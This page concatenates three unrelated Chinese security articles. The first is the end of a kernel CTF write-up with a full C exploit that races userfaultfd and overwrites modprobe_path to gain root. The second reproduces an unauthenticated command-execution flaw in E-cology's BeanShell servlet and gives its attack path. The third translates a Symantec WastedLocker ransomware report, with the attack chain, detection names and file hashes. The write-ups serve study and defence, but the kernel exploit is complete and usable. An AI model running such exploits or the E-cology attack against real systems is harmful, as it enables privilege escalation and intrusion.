copy_from_user相对于 kernel_base的偏移，即可得到 kernel_base的值。
得到 kernel_base之后，就可以按照之前所讲的获得 modprobe_path的方法来获得 modprobe_path地址。
### EXP
// gcc -static -pthread exp.c -g -o exp
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>
typedef struct noteRequest{
size_t idx;
size_t length;
char* buf;
}NoteReq;
int fd;
char buffer[0x1000] = { 0 };
size_t fault_ptr;
void init(){
fd = open("/dev/note", 0);
if (fd < 0){
printf("open fd error\n");
exit(-1);
}
puts("Open device ok\n");
}
void New(char*buf, uint8_t length){
NoteReq req;
req.length = length;
req.buf = buf;
if(-1 == ioctl(fd, -256, &req)){
puts("New error\n");
exit(-1);
}
}
void Edit(uint8_t idx, char* buf, uint8_t len){
NoteReq req;
req.idx = idx;
req.length = len;
req.buf = buf;
if(-1 == ioctl(fd, -255, &req)){
puts("Edit err\n");
exit(-1);
}
}
void Show(uint8_t idx, char* buf){
NoteReq req;
req.idx = idx;
req.buf = buf;
if(-1 == ioctl(fd, -254, &req)){
puts("Show err\n");
exit(-1);
}
}
void Delete(){
NoteReq req;
if(-1 == ioctl(fd, -253, &req)){
puts("Delete err\n");
exit(-1);
}
}
void* handler(void *arg){
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] Handler created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) // 这会一直等待，直到copy_from_user访问FAULT_PAGE
{
puts("wrong pool return\n");
exit(-1);
}
printf("[+] Begin handler\n");
//here, we can write our own code
Delete();
New(buffer, 0); //note[0]
New(buffer, 0); //note[1]
buffer[8]=0xff; //change note[1].length
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构，虽然没用
{
puts("uffd read err\n");
exit(-1);
}
struct uffdio_copy uc;
memset(buffer, 0, sizeof(buffer));
buffer[8] = 0xf0; //把note1 的length改成0xf0
uc.src = (unsigned long)buffer;
uc.dst = (unsigned long)fault_ptr;
uc.len = 0x1000;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
puts("[+] handle finished");
return NULL;
}
size_t register_userfault(){
long uffd;
char *addr;
size_t len = 0x1000;
pthread_t thr;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
{
puts("userfaultfd\n");
exit(-1);
}
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) // create the user fault fd
{
puts("ioctl uffd err\n");
exit(-1);
}
addr = mmap(NULL, len, PROT_READ | PROT_WRITE, //create page used for user fault
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
{
puts("map err\n");
exit(-1);
}
printf("Address returned by mmap() = %p\n", addr);
uffdio_register.range.start = (size_t) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd，这样只要copy_from_user
// //访问到FAULT_PAGE，则访问被挂起，uffd会接收到信号
{
puts("ioctl register err\n");
exit(-1);
}
s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理
if (s != 0) {
errno = s;
puts("pthread create err\n");
exit(-1);
}
return addr;
}
int main()
{
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/note/flag\n/bin/chmod 777 /home/note/flag' > /home/note/getflag.sh");
system("chmod +x /home/note/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/ll");
system("chmod +x /home/note/ll");
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
init();
New(buffer, 0x10);
fault_ptr = register_userfault();
Edit(0, fault_ptr, 0x10);
Show(1, buffer);
size_t key = *(size_t*)buffer;
printf("key is 0x%lx\n",key);
New(buffer, 0x0); //note[2]
Show(1, buffer);
//leak module_base_off
size_t note2ContPtr = *(size_t*)(buffer+0x10)^key;
size_t module_base_off = note2ContPtr - 0x2568;
printf("note2ContPtr: 0x%lx \nmodule_base_off: 0x%lx\n",note2ContPtr, module_base_off);
unsigned long* fake_note = (unsigned long*)buffer;
fake_note[0] = key^0;
fake_note[1] = 4^key;
fake_note[2] = (module_base_off+0x1fa)^key;
Edit(1, fake_note, 0x18);
//leak page_offset_base_offset
int page_offset_base_offset = 0;
Show(2, (char*)&page_offset_base_offset);
printf("page_offset_base_offset: %x\n", page_offset_base_offset);
size_t page_offset_base_addr = page_offset_base_offset + module_base_off + 0x1fe;
printf("page_offset_base_addr: 0x%lx\n", page_offset_base_addr);
//leak page_offset_base
fake_note[0] = key^0;
fake_note[1] = 0x8^key;
fake_note[2] = page_offset_base_addr^key;
Edit(1, fake_note, 0x18);
size_t page_offset_base = 0;
Show(2, (char*)&page_offset_base);
printf("page_offset_base: 0x%lx\n", page_offset_base);
size_t module_base = module_base_off + page_offset_base;
printf("module_base: 0x%lx\n", module_base);
//leak module_base
fake_note[0] = key^0;
fake_note[1] = 0x4^key;
fake_note[2] = (module_base_off+0x6d)^key;
Edit(1, fake_note, 0x18);
int copy_from_user_off = 0;
Show(2, (char*)©_from_user_off);
printf("copy_from_user_off: 0x%x\n", copy_from_user_off);
size_t copy_from_user_addr = copy_from_user_off+0x71+module_base;
size_t kernel_base = copy_from_user_addr - (0xae553e80-0xae200000);
printf("copy_from_user_addr: 0x%lx\n kernel_base: 0x%lx\n",copy_from_user_addr, kernel_base);
size_t modprobe_path = kernel_base + (0xb1c5e0e0 - 0xb0c00000);
printf("modprobe_path: 0x%lx\n", modprobe_path);
char* buf = malloc(0x50);
memset(buf, '\x00', 0x50);
strcpy(buf, "/home/note/getflag.sh\0");
//change modprobe_path
fake_note[0] = key^0;
fake_note[1] = 0x50^key;
fake_note[2] = (modprobe_path-page_offset_base)^key;
Edit(1, fake_note, 0x18);
Edit(2, buf, 0x50);
system("/home/note/ll");
system("cat /home/note/flag");
return 0;
}
## 参考
[【linux内核userfaultfd使用】Balsn CTF 2019 -KrazyNote](https://xz.aliyun.com/t/6653)
[Linux Kernel Userfaultfd 内部机制探究](http://brieflyx.me/2020/linux-tools/userfaultfd-internals/)
[userfaultfd(2) — Linux manual page](https://man7.org/linux/man-pages/man2/userfaultfd.2.html) | 社区文章 |
# 漏洞复现
影响版本：
E-cology 7.0
E-cology 8.0
E-cology 8.1
E-cology 9.0
直接在网站根目录后加入组件访问路径
/weaver/bsh.servlet.BshServlet/，如下图在victim上执行了命令“ipconfig.exe”
# 漏洞分析
漏洞出现在e-cology的组件beanshell上，由于beanshell这个接口可被未授权访问，同时这个接口在接受用户请求时未进行相应过滤，最终导致远程命令执行
那beanshell是什么呢？
官网地址：<https://github.com/beanshell/beanshell>
简单说，就是一个微型的java解释器，可嵌入到其他程序中，用于动态的执行java代码，类似于csharp中的动态编译特性，我们通过一个例子来了解beanshell，如下图
如上例子中，首先实例化了类Interpreter并将返回的对象赋给变量in，然后调用对象的方法eval，动态执行字符串（前提需要字符串符合java语法），接着为变量boolean设置值，最后输出变量boolean的值
在beahshell中，有多种方式可以动态执行字符串，eval只是其中一中，如下图是其他能动态执行字符串的方法
（额外说一句，其实这也给了我们一个思路，在挖beanshell的漏洞时，可以通过搜索这几个关键字，来快速定位可能存在漏洞的代码）
回到组件beanshell上，使用jadx反编译jar包，由于访问的组件路径为/weaver/bsh.servlet.BshServlet/，所以我们先查看一下类bsh.servlet.BshServlet，如下图
经过查看这个类，我们看到在方法doGet()中获取了“bsh.script”等参数，并将参数bsh.script的值赋给变量parameter，如下图
如下图，由于在漏洞利用时，我们是在script处输入的指令，所以有理由怀疑此处的script输入框，就是上述的参数bsh.script
可我们在提交时使用的method是post，继续向下查看代码，发现方法doPost()只是封装了方法doGet()，如下图
查看方法doGet()中的代码，发现将变量传递给了方法evalScript，如下图
继续向下查看代码，发现方法evalScript()，如下图
在方法evalScript()中，调用了方法eval()，执行了我们之前传入的字符串，如下图
其中interpreter是类Interpreter实例化的对象，如下图
正如我们在前面的例子中所展示，类Interpreter实例化后，调用方法eval()，动态的执行了传递过去的字符串 | 社区文章 |
**原文链接：[WastedLocker: Symantec Identifies Wave of Attacks Against U.S.
Organizations](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us "WastedLocker: Symantec Identifies
Wave of Attacks Against U.S. Organizations")**
**译者：知道创宇404实验室翻译组**
Broadcom旗下的赛门铁克发现并警告用户：攻击者试图部署WastedLocker勒索软件，对美国公司进行了一系列攻击。这些攻击的最终目标是通过对受害者的大多数计算机和服务器进行加密来削弱受害者的IT基础架构，以要求获得数百万美元的赎金，目前至少有31个组织受到了攻击，这意味着攻击者已经破坏了目标组织的网络，并且正在为勒索软件攻击奠定基础。
是一种相对较新的定向勒索软件，在[NCC
Group发布](https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/)之前就已被[记录](https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/)，而赛门铁克正在对受影响的网络进行扩展。WastedLocker被归因于臭名昭著的“Evil Corp”网络犯罪组织，Evil
Corp曾与[Dridex银行木马](https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8109b9d1-6435-443a-b033-2df8461f10c7&CommunityKey=f5d62f53-a337-4805-842f-e5bc06329b21&tab=librarydocuments)和BitPaymer勒索软件相关联，勒索金额高达数千万美元。两名涉嫌参与该组织的俄罗斯男子在美国对他们进行了[公开起诉](https://www.justice.gov/opa/pr/russian-national-charged-decade-long-series-hacking-and-bank-fraud-offenses-resulting-tens)。
这些攻击始于一个名为SocGholish的基于javascript的恶意框架，该框架被追踪到超过150个受到威胁的网站伪装成软件进行更新。一旦攻击者进入了受害者的网络，他们就会使用Cobalt
Strike恶意软件和一些非本土工具来盗取身份证件，升级特权，然后在网络中进行移动，以便在多台电脑上部署WastedLocker勒索软件。
## 发现
赛门铁克的定向攻击云分析(Targeted Attack Cloud
Analytics)系统也在进行积极探索，该分析利用先进的机器学习技术，发现了与定向攻击相关的活动模式。赛门铁克的Threat
Hunter团队对这些活动进行了审核，并很快意识到这些活动与早期wastdlocker攻击公开记录的活动密切相关。
这一发现使我们能够确定WastedLocker所针对的组织、攻击者使用的工具、策略和过程，从而帮助我们加强针对攻击的每个阶段的保护。
## 被瞄准的大公司
迄今为止，赛门铁克已经发现了针对31个组织的攻击，所有组织都位于美国。绝大多数目标是大型公司，11家上市公司中的八家是《财富》500强公司。除一个目标组织外，所有目标组织均为美国所有。
一系列部门组织遭到攻击。制造业是受影响最严重的部门，其次是信息技术。如果攻击者没有受到干扰，可能会导致数百万美元的损失，对供应链也会产生影响。
## WastedLocker攻击如何展开
组织的最初危害涉及SocGholish框架，该框架通过受损的合法网站以压缩文件的形式提供给受害者。目前发现至少有150个不同的合法网站，这些网站将流量引向托管SocGholish
zip文件的网站，可能导致不同的恶意软件被利用。
该压缩文件包含恶意JavaScript，而且伪装成浏览器更新，而第二个JavaScript文件由wscript.exe执行。该JavaScript首先使用whoami，net
user和net group等命令对计算机进行配置，然后使用PowerShell下载其他相关的PowerShell脚本。
攻击的下一步是部署Cobalt
Strike。PowerShell用于从公开报告的域中下载并执行加载程序，该域被报告为WastedLocker攻击的一部分并提供Cobalt
Strike，加载程序还与此报告的Cobalt Strike基础结构共享了一个命令和控制注入的负载被称为Cobalt Strike
Beacon，可用于执行命令、注入其他进程、提升当前进程或模拟其他进程，以及上传和下载文件。该加载器包含一个.NET注入器，据报道，该注入器也出现在WastedLocker攻击中。
注入的负载被称为Cobalt Strike
Beacon，可用于执行命令、注入其他进程、提升当前进程或模拟其他进程，以及上传和下载文件。攻击者将[PowerView中](https://www.varonis.com/blog/powerview-for-penetration-testing/)的Get-NetComputer命令重命名为随机名称，然后该命令在Active
Directory数据库中搜索所有服务器对象，并带有 _server_ 或 _2003_ 或 _7_ 过滤条件（返回所有Windows
Server，Windows Server 2003或Windows 7实例）进行搜索，接着将此信息记录在.tmp文件中。
使用包含软件许可用户界面工具（slui.exe）的[公开记录的技术](https://medium.com/@mattharr0ey/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b)来执行特权升级，该工具是Windows命令行实用程序，负责激活和更新Windows操作系统。
攻击者使用Windows Management
Instrumentation命令行实用程序（wmic.exe）在远程计算机上执行命令，如添加新用户或执行其他已下载的PowerShell脚本。Cobalt
Strike还用于使用ProcDump执行凭证转储并清空日志文件。
为了部署勒索软件，使用Windows Sysinternals工具PsExec启动合法的命令行工具来管理Windows
Defender（mpcmdrun.exe），以禁用对所有下载的文件和附件的扫描，删除所有已安装的定义，在某种情况下还会禁用实时监视。此外，据NCC报告，为达到目的使用了一种名为SecTool
checker的工具，使用多种技术可以执行此任务。
接着使用PsExec启动PowerShell（该PowerShell使用win32_service WMI类检索服务），使用net
stop命令停止这些服务。在Windows
Defender服务被禁用、整个组织的服务被停止之后，sexec被用来启动waidlocker勒索软件，然后开始加密数据和删除影子卷。
## 对企业构成的威胁
这种威胁背后的攻击者似乎技术娴熟，能够渗透一些最受保护的公司，窃取凭证并轻松地跨越他们的网络。
因此，WastedLocker是一个非常危险的勒索软件。一次成功的攻击可能会破坏受害者的网络，导致他们的运作受到严重干扰，而干扰后清理工作成本却高昂。
### 缓解
为了保护客户免受WastedLocker攻击和相关活动的侵害，以下保护措施已经到位：
**基于文件的保护**
* Ransom.WastedLocker
* Ransom.WastedLocker!g1
* Ransom.WastedLocker!gm
* Trojan.Gen.2
* Trojan Horse
* Trojan.Gen.MBT
* Downloader
* JS.Downloader
* Packed.Generic.459
* ISB.Downloader!gen403
* ISB.Downloader!gen404
* Heur.AdvML.B
* Heur.AdvML.C
* SONAR.SuspLaunch!g18
**入侵防御**
System Infected: Trojan.Backdoor Activity 478
Malicious Site: Malicious Domains Request
System Infected: Trojan.Backdoor Domains 2
Web Attack: Fake Browser Update 8
## IoCs
**Cobalt Strike loader**
2f72550c99a297558235caa97d025054f70a276283998d9686c282612ebdbea0
389f2000a22e839ddafb28d9cf522b0b71e303e0ae89e5fc2cd5b53ae9256848
3dfb4e7ca12b7176a0cf12edce288b26a970339e6529a0b2dad7114bba0e16c3
714e0ed61b0ae779af573dce32cbc4d70d23ca6cfe117b63f53ed3627d121feb
810576224c148d673f47409a34bd8c7f743295d536f6d8e95f22ac278852a45f
83710bbb9d8d1cf68b425f52f2fb29d5ebbbd05952b60fb3f09e609dfcf1976c
91e18e5e048b39dfc8d250ae54471249d59c637e7a85981ab0c81cf5a4b8482d
adabf8c1798432b766260ac42ccdd78e0a4712384618a2fc2e3695ff975b0246
b0354649de6183d455a454956c008eb4dec093141af5866cc9ba7b314789844d
bc1c5fecadc752001826b736810713a86cfa64979b3420ab63fe97ba7407f068
c781c56d8c8daedbed9a15fb2ece165b96fdda1a85d3beeba6bb3bc23e917c90
c7cde31daa7f5d0923f9c7591378b4992765eac12efa75c1baaaefa5f6bdb2b6
f093b0006ef5ac52aa1d51fee705aa3b7b10a6af2acb4019b7bc16da4cabb5a1
**.NET injector (Donut)**
6088e7131b1b146a8e573c096386ff36b19bfad74c881ca68eda29bd4cea3339
**WastedLocker**
5cd04805f9753ca08b82e88c27bf5426d1d356bb26b281885573051048911367
887aac61771af200f7e58bf0d02cb96d9befa11deda4e448f0a700ccb186ce9d
8897db876553f942b2eb4005f8475a232bafb82a50ca7761a621842e894a3d80
bcdac1a2b67e2b47f8129814dca3bcf7d55404757eb09f1c3103f57da3153ec8
e3bf41de3a7edf556d43b6196652aa036e48a602bb3f7c98af9dae992222a8eb
ed0632acb266a4ec3f51dd803c8025bccd654e53c64eb613e203c590897079b3
aa05e7a187ddec2e11fc1c9eafe61408d085b0ab6cd12caeaf531c9dca129772
817704ed2f654929623d9d3e4b71ce0082ef4eadb3fe2d80c726e874dc6952a3
**Possible WastedLocker**
612a21c0b8501f13544cc00c79599ae11c4786aa7268cf887d59738bd4f92afc
**Zip file containing JS chrome update**
f0520c25fd656c465dc55b5eada41dbd042f46be93fb3678d046ed9f6a90a149
**JS chrome update**
8ed034f6b236f254e1f5f49e900398ff4c6b9a7914ce70fb0e29ef5a2b0799e1
**Zloader**
023f1ef0cc2c1e055b05ae1ff5bcc6bf2421003dea227aeb6d70c8a525fa3b82
**SocGholish Zip file**
1b03c872c85b00b2ef2e2f9e5e3f85b703ee2190374d8aaba4da065f54efd21f
2334c93c4f6ae3d370a8e7ad57c72e67d950b2842360105d3074a3fdbcea6e6c
6ee2884c7dfcf85030e4c26e68b3d65a6a8dd3b502f895938fca86653bfa171e
1346085caf84eedcd8437b31b6549aa3a5f88b168efc165b67acde907d2ee691
00e55499c1fce017d25e27201f2919502797180264ef67a6bc8da2f0b6fe89ac
8f18111a4d45ecbcaa5d409afda01bff59a335f6e92895d3422f21465e6e070e
34c40cee6ec17b6b76249bea42dab11380310df0bb5f1fd687be5648025cf887
47aecefb1b8c20d1ac705581fb84331aa96bac0ba11a9dd9dcb3afe782d662d3
52a8a9afe1637e8faa39894d4b7ec8857aadec8c631469a982d5d0860a6f3511
8e8e911906e2881dab603fb446c1ca98eb989e4b1a933496b3c49e64e3d34d33
5d282476a27409c1eaa8d68f46bcc69f3027840a87a16159c25c0e49e87d8f9a
a1849335f5a9d185c514f1b963de6c9599e375046292e07feb6fec30e26a4c54
4df28f81d5c9e84d96137ff0a24c9902589af1f120742441ed49e68e601b9d87
effa6018b4d8b48e59684dc66c64a08658e118a43715f6d0902d7c83db3902c0
912c405cf9506288c18984f92d66f1fd263b999c2f4a346a8e133dcb846560f9
5eb57802b26631c22ed4ebe9f252cd22822a04a2f28a594aaf4bc4887d33caf5
d3705a1fd6c1736aeabcae24bc6d247e6bcbe2168523b9788a22714fb165bfec
d9717e971ac44f6233b3f5854f9b264040250aa39d74bfa227a4b4602b6eb832
1150850a7cc92b753cc9f51db547ea675f177ce290652368599a49cfa2826d34
cd04bf5e9383f717975e4b2e901d04782c9cab00099a5ad06a8a9429bd4cf9a5
a8fa11b8402bcdcf1c6cae98dba90568fdf734ba4b083d68566b5adfa66c8327
e38ae05677ea8137a432307214816e0c17fe22e42c2c4279e89d5019a4599acd
e14257ac1f2ef19a21c7ef60c29b6dce9f63d198746d59046198fa254d9d3a54
ec1674ec04b9b12378198526546a43a19ad3720f5a57b9b420386a17cc0f8983
94e17b0d20a458b997a43d6c5aaee62454e1168080574c5e472cf152046d7540
90221dec6d92d6f76af0240d3968a8503e821955d3cc3acf30527bc8f2a65e9c
36d6f04bbb409bc6e74cf4d8bbc11f250789cb2de14e243ffe891b0f75145549
bcddb155313a76b05e4758c6071c3ff26b3c383d705c90c0015f68e7d11f504d
92b79542921cab76d001d785dceb5c4f55cfa9d3a51cbc99a3e2db1cce4892e6
b349848b0357abd4be79b456e1019305c5105892eab768b85bc89da1932f3d22
289a5876bae1f28fd3817a7fc010e2dc2205372c0eeb957dcce009fa10b57bd9
6215316b10db41cf8ed697605074fdf59fd5967e98c62f03476d845ca46ff69e
631c71d88a3d0fdfbb22ed393eddc78276c0b4abc85e2d0163b4edd603306fd6
d83a6cddf932d129f49b871d8a42f8b1a885cbdc8ae3f44b215d409d8f7eaf05
54c8ff32e714a1160235683a26bbf9cbaa267a45e20fa34544e9b9b3b2753cfc
a5d3b330150b5de4e2d484fefe7cbbcf0273aa5f043c3d54c83437785e6af1d5
61099171f2bce433e2a8cdb1d24811cc2f6c01b8d9f08f66f5023c97306aa9ca
73a3d35902745b2b3e46efa884f711f6aa490a7961105ed1d735ac0878fe8b26
05a9ee3b90da5fcc6c4bb888125d00f36a150eb271f956793ef1d74cf57d1493
45d611f352993041e3da849597e9411f2d6682a65d6f324a474d4ad2b409cb3f
288ffd4ceba91bcc4a95036014f7a7615911b12f88f03db8d70c47bf3db8f0d4
90d8e358f27ff85b40b5cee46d636d5390b868ffc05d068a36b29f2dce6c62f6
fb576ea0d43d21a3899535ef2fe7c03c477259a899a90b4a266af0a391273a0e
7861cf7ec016aeda6db3472bf572d50c377400c2c59ba0b37705569c95510f09
b4df0635436d46418aa93aa72244ab8090463611132d7804decfbc2fa1eff047
034ec5eb976e5243aa7df416b3657a0f84cf28dfdfa896ac9f627631d64171d7
14c46c371127b3025ab7ee242f5f0b4e9397a39471004657f247722e3b9d9951
1b1b50285f7653c3e8e2190db2c3801ecaf1a1168f30fc38665f2715397c809b
6515a4b8f5447a644dd7c741ab062ac59b1b34bd1064435e0f43d282bd70e4d4
b70df428c04e69f3ac3aab97c93ca327eeff91005fc9a6b4a824caaae2df5f88
d0679c245e7fdc321f10aed472d7dd41cc13cbad9adbcceab1e378f61b02612d
736657779bfe8a99b9f75e8aabb3d517427cf9f2ae18d5f0461fe0d3fbf50145
82f3d67830c3680b71059c04002f6a0ae0f20e82dd99bf877f37e753f1756eab
d6020b5e4a6dc0df5f6b1b38b5912ac5a623224cd1c64a934c678e1a88fc8c38
49fec94faae5ec209c8ab143088d8a2bc5359e71d14806ac035071c90c120d05
e492d2f1c8d718a8ac06f15f3e21e1434d0ee1889c0b4023901bf5cc680668e8
5f30f3669e954b028b8aaabd84449bf1ddec5ca25b9ca6308fc6b68dc131fe57
8279ff428765065945ffcc854c7b89f1449bcab42a7f41c9a8db98fb23104981
abf625d0b4fc46a57d102a460d08f948203abb18bd8fc6b349f724825deafb32
7b6c382fd85e740ac83d88804b713bec5cccf42cb5ac55bc909d85d02a078921
c9ad39666e0325af0db6ad5ceba49426989f1b79a1c7e948fd721041ea403b8b
ef4a97b17c24569454cd9d28a37fb7acdf947e6067052da6ec3ae40d8ce48a01
e69c70c23563cfc4eb975611bac2514e7210dacd24fa07236856261d797ba05c
ffab63f7037817aa5f7f627c3b31b8ba8e9ded16e0c07044d477110978dab519
1ae6f7888789d427431fd69bd79a0059a6d1faee77a271c0678f31b417a4dc87
061bdbf149adb99d3187ca21b6516ec0144711142bb7b97ee663261d9efe7560
89355cdc3fd592b2630764290edb340ba0c24b69d82231b4c444f098080b53f7
b0fd99793eb891f89de6b4757d10c8c58d3ee6e8139e2b594ac9f1116868f8ed
be7acff64e95605852c4a9a7be7d013e37d3975f59b2bad1381e1ef0f2fd0693
c1e90b1028c33a8296090bb4b280167b2af2bbe13a6505f0efa72fbaf47d6610
740e254bf1030441581a1a90b84a34f770dc5ddacfc26f2bdcc21d1e1adf4117
17652ca0a0674f3d33aadc5fc8aa83281a4c504a63b5a2b45a7ff06bf8db776a
f9ea04b6d8254480741f4dffcd5c71361446c3151a88af728c8f02ded1662ebf
3c6ddfec710fdc626eaedf335ef0d5e062b58bf2018c07cc4f86957dce84b15b
08c2a598370400b6ae2e821bca121ef1ae2109c63ea547f972c0ccc281bf958e
9551700ba4099618b7d89e375f508ce1dcf8c9838318017ddbe081c0cf0b4693
1858d80f6fdfc6ff796357d49d7c453a7cf17583dcc8d2d0c5be8a1695ad20f5
39ea5c8bdf1f5c3345de71b78e9894081559c5b90720542b3ef3afe8432b1a4f
81cb83ad3095554ea36932e5c8ae2b96d013a19dadeb56e9f11ecba8eb804591
ce2b122a1204a1ab7effb52e7008661951bf192a1f184fe549a8bc09ee0df76e
5b1a2c9072623434e5fa9147359ce67ea0ffd1f16ebcefc56670485f76084390
bcd670fa6c4c943b3b4375d833adf8e0cc909ca98fb0c93414288e27dd80c2fa
2bfdac333098b55eb4c9b65f2a6da758c2990338c39f1a4ba552ea4b34a9b742
ed1dcf691183d593451e02d1e1b5ee8f1315b472efb9955f0a0158134dec29f4
30a6e295d616c9c7a638530f4fcc4fc82c5496c8f69811eaf0df42904c2fd3b9
96c6e2936ffc2797d86feaa19c912898e77dcb392df9808ed4a135f6cee99664
dab5af9b9a633ac329e40522341579a3ad6511ef293c1b6ce0274883af9fb9c9
733e4c6232b380c449dc906b60f5f15d29c9d49c3912a173eff15cfb6232b383
afa42b2f92b076e1dae6257e27bd6cfeb2102fbe3da569f233bd6b85c0f88b8d
2c8de9f78d25ec81d0408dea82a5e449f68c9cc9ffc8cca68efbbbddb9b7edda
4a1457a6589c201dd79c49e0a0d19b3b742c7ec9eb8703ee998fcfcbed118f10
e96c47a7540c87778af38934d6c0a35a68d83fb1da80b9499480b7a8ffbdf5ed
df068eb71951ff0950fbbc0595540818dd63d490e8f8ede46185ee75f20b0a72
b3955a0deb80e5bc5baed0002d7e2761e1b0d5165f02134ad7ee1151f91424bd
6e44875045594d2f22da11544c49336f6a242a1ad3e8eaeaf025cd61fb9e168a
038563215659a42d6d5b1009756716d969105e1f85155d9d1a6ff4c4d691fb3b
b935a4e4b589adb6cfffd67ae9400caef9f8e087a5943a5feaec21361693c606
fe09d6a7df1e5817d0f9c732c0a17bdf4d51f1967c7ec1b2871051af7fdad78a
36cdac5b539227bc6dc88842bbe351478662ef6118b9145dec62aabd2c47c9c8
cf7734c8606a472aa2dbd38a74a60dff4e8a5d00b05eb850de535a7019cc9904
5a4a7e37686388fe6f887021e16ee2226a27263c329f98d1501426a8d7152630
55cbedf65b3c49c4fd456beb9ba25b9e770d93a51fd303f15727b35d33b1cb9e
f6b546179d2b499e552e03001c2aa7c994f4c5e568113601dbab2dd7bbfb9429
9d5416ae461d9c4bef4e674aee34bee263261e734d22c8c0053d37d5b3aba56c
5d6920e744d44a0ed95b0e6dfb6daf1953a2b3ac288c9821d77455584229338f
e2431e102d6ac41f91216e4a8b2bd93a126cd6988254406fcdd95340e3a0a219
2cd386577165e39c36f5274488f6796b0e0634c33d42a9bbb432f58dc1096d60
95658de9198378e20deb453fc888083864ea189ccd87653a14e2c39c524e3d84
3e3b419541631e4f0d123993a1df52d49f3d2b9a484af44f5e302b3b4a58cc10
faba871c8af45b94a300400999aa3a26d8bc57f16095c5485d45c9a4bdd7e1db
13f0cf420ca489ddf33ee7551251c27e0b80aeabb77c082d164ceb3620ea89c7
b26917a47ce0c19deae73f23bd8f26f6ee8ea0c307590e9d2b7a42aa9ddee297
cbbc0a5e557785549766d538fe3bc1625b91b40fa74b910a7e654abc7d0ed7cf
7c55d7753e22562c77d1d20e48293a233d9fbf84a654a0236f3edb3491809219
40876cec2391304003e3792afd49b8c41981da0d862b3edb7b7dd42dbf16e45
73afcfba2476ad0de83a180a50e169878c070f8ee17c72d0c8360706dcd32cd4
cfe3628d6bd279b2d43dcf8e7d3898893ea24fd2bf757fc51b764c0393b45976
0cbc11499a01fc3e712f30f5ce0ffa88d23f490846c1a4ce0e7f5812af12edcc
42807830ede9edc495c8632210c8d7516c2b5f0e0d766e0a150f73dad9287e0c
0e0832d0970cc95d1ce326a8d59068cf5757b6720ef2f89411eafcb077117b32
284c097b60e2e3cc65ae4047df57be15c0c9ee87e554c841b63e26bc7b0febbf
8b04f39738a58cb4a46a13b50dcead651e1cc1a0e23caf8adf00bc6d3e6ba684
9b06c7ce8c21e3439650d0d6478f7ba35a63a61efe97496c8258963fb88181a2
05e8b6895b8e332f0a5cd5cd8924f24259d2a07bd06ac8024e13e4ff1960b002
0840ac2be80386f26506916419dd46211ba4ae8db797e36b519945980d3d34f3
0e684b25abfe57646e5176ff7d139019de00deb1054984ba6a692c12abb15ca7
189341461b49056358fe3b5d20558dc132d83fca43560ac96dccce5994fdd0c6
1c79ec0d27c6f554eb2385b3a22c8d14c8443706de9bc8db77384b5fdd01007d
1dc737669cdc997dc3f43cbc2e38d31914610a348a7466d5106490df5fcb29ba
241aab6bbfb5fe9294dd227b5834fc3837fc5c2a5cbccd3f66ca959052bd3b2e
26dfeae63654feb8fe8c70f9d6fc87d748e3a302cf126210b38338bd5ed68fcc
314e16b5713ca7e8604d07a3e0058f46ebc373896ae0c19abae6a624908c2f68
3b467fc5992d420c5ffdb029a7ad167a5cfabba251746f96414542f4bc7a4434
3ce5510452f63e74f339c80c98dd358cb266952f0184db0bebf9b2621a81b32e
4d0ba946c29c97ca509b86ea952c284de0c3ba20018570c16a2c39f82a36f19d
593fc97f711838ebfc63823ebb1dca6278dc9a5fb4a209a3bcb0c664dfccdd06
67e554dda076f496727b9b08b7982f03e803533bdefb0b62c8562dc80bd3aa78
7bdf7c6ed58ab59b872e41a1da6c548c5a150546841c2f9179b242e112a05390
877fd840276394386ef9f1efe989cf5d95533c15229f2a5b4aa25fbefe553ba3
8ed034f6b236f254e1f5f49e900398ff4c6b9a7914ce70fb0e29ef5a2b0799e1
a63d0089053e761e518698ef6cfad7cf480dd23a936812a23bded97279516b91
afe70907f37be1fa8285e5c2e9caa99d552c715244e731d17f681307b8515971
b1a0dcd29e184b3d71cf201ee04db44316390d6d45b3f13719dfad26a204498c
b4f397035d5d1c02011df84bc8a3fd9e3beea02808bd3f40335a2b8be50b114a
b73583872a08cfd1d301024fc4a64e4cba9a88a4413089fb1ee04257a9723e91
c5e591eb216820efc4887b2b2e2f956937e9aeb6422577f4710cd1d73709bf14
d0759bb3342894677588eef9affe52779f1563cc8b5ee1c58ffe3f0360dab5aa
db42110a03f606bf9196297933c9e0f5fed4a293d98ad3b47dc981a7da480f06
e44ba11de9be266b5a09e7159fa7783f1cf0b8a2714399402a215425e37a1cc9
